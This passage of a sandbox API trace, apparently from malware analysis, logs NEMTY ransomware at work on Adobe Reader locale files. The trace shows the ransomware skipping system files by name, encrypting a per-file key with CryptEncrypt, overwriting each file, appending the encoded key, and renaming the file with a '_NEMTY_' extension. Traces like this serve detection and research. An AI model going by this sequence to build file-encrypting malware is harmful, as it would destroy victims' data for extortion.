dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.376] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Annots.CHT", cAlternateFileName="")) returned 1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2=".") returned 1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="..") returned 1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="...") returned 1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="windows") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="rsa") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="NTDETECT.COM") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="ntldr") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="MSDOS.SYS") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="IO.SYS") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="boot.ini") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="boot.ini") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="AUTOEXEC.BAT") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="ntuser.dat") returned -1 [0186.376] lstrcmpiW (lpString1="Annots.CHT", lpString2="desktop.ini") returned -1 [0186.377] lstrcmpiW (lpString1="Annots.CHT", lpString2="CONFIG.SYS") returned -1 [0186.377] lstrcmpiW (lpString1="Annots.CHT", lpString2="RECYCLER") returned -1 [0186.377] lstrcmpiW (lpString1="Annots.CHT", lpString2="BOOTSECT.BAK") returned -1 [0186.377] lstrcmpiW (lpString1="Annots.CHT", lpString2="bootmgr") returned -1 [0186.377] lstrcmpiW (lpString1="Annots.CHT", lpString2="programdata") returned -1 [0186.377] lstrcmpiW (lpString1="Annots.CHT", lpString2="appdata") returned -1 [0186.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Annots.CHT", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Annots.CHT", lpUsedDefaultChar=0x0) returned 10 [0186.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0186.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0186.377] Sleep (dwMilliseconds=0x5) [0186.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22bdf130, dwHighDateTime=0x1d561e8)) [0186.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22bdf130, dwHighDateTime=0x1d561e8)) [0186.387] GetLastError () returned 0x0 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.387] GetLastError () returned 0x0 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.387] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.387] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0186.387] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="Kx6aXjjhlYtexb/YajLE9mgEH+d0ymMBSll/ltOoVphS9XRfStCAdIhhG7DOpHUl\r\nNIJhBdDh+VF1tV6UrwD+ooMudbL6v42wWyFQ7oh9J1IdAZFikCfAHEzUMRo5wy6B\r\n8vv1eedi+VLYUrybX1mYpKBdTERHoGUyX/giHbqnW1pb7/LRqYMDYULLCv3Hczoc\r\nXp31Uo5eoZK3QMlTUCj536y9BDSX13TvLy9HIEpekIZoSPOJOm5Zs+bhviEUzGxP\r\nmqk7qJBoBYYO7cHzXjtF3iuc7p57xS9Fu4P9IQnWK1ai8fQkIIG2nYsqR8SF0mVW\r\nYL0T2hWP4fT3/jse1uaijg==\r\n", pcchString=0x653e5dc) returned 1 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.387] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0186.387] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.387] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Annots.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\annots.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.388] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=312832) returned 1 [0186.388] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.388] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.388] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0186.397] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.397] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0186.397] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.397] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=312832, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c600 [0186.397] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.399] CloseHandle (hObject=0x2e8) returned 1 [0186.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0186.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.399] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.399] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0186.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.399] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.399] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Annots.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\annots.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Annots.CHT._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\annots.cht._nemty_kgobjgd_")) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.401] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0186.401] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="BRdlang32.CHT", cAlternateFileName="BRDLAN~1.CHT")) returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2=".") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="..") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="...") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="windows") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="$RECYCLE.BIN") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="rsa") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="NTDETECT.COM") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="ntldr") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="MSDOS.SYS") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="IO.SYS") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="boot.ini") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="boot.ini") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="AUTOEXEC.BAT") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="ntuser.dat") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="desktop.ini") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="CONFIG.SYS") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="RECYCLER") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="BOOTSECT.BAK") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="bootmgr") returned 1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="programdata") returned -1 [0186.401] lstrcmpiW (lpString1="BRdlang32.CHT", lpString2="appdata") returned 1 [0186.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0186.402] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="BRdlang32.CHT", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BRdlang32.CHT", lpUsedDefaultChar=0x0) returned 13 [0186.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0186.402] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0186.402] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0186.402] Sleep (dwMilliseconds=0x5) [0186.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c2b3f0, dwHighDateTime=0x1d561e8)) [0186.418] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x22c2b3f0, dwHighDateTime=0x1d561e8)) [0186.418] GetLastError () returned 0x0 [0186.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.418] GetLastError () returned 0x0 [0186.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0186.418] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0186.419] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0186.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0186.419] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="L46IM4qF7oCyifBP7WreHt0Q++IDrEgxMUDFsGaOmFQrRQ8Lb2sdOtp++PzP0m80\r\njLN5VtsZsQzt+rNr3qYHSbD4JaJiUoBDoCVa+rEXwjYYpWoOr6BRVsa/WGTn41qy\r\nEFTvCW8H7MMkLtvC+HRweTDBD0xVF/jconPQ2iyTcPV8ACZjVO5AR7vO+OS4bNP6\r\nMrLPIMDkJo5L8tEXdZWAP2szj85fy6BrnPW+BSfvMsNSzd/ujFkChMGAVBaDYxjo\r\ndOdaGDY6Q2jorscQ8r0Wq8VsNLv45I5xvaXdF4ZHORpeq2zWyoJ2cPG4kBY7rPuH\r\n74eMYTQZi1YovYemMaCDvw==\r\n", pcchString=0x653e5dc) returned 1 [0186.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0186.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0186.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.419] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\BRdlang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\brdlang32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0186.419] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=7680) returned 1 [0186.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0186.419] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.419] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1e00, lpOverlapped=0x0) returned 1 [0186.421] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.421] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1e00, lpOverlapped=0x0) returned 1 [0186.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.422] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0186.422] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0186.422] CloseHandle (hObject=0x2e8) returned 1 [0186.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0186.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.422] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0186.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0186.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0186.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.422] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\BRdlang32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\zh_tw\\brdlang32.cht"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 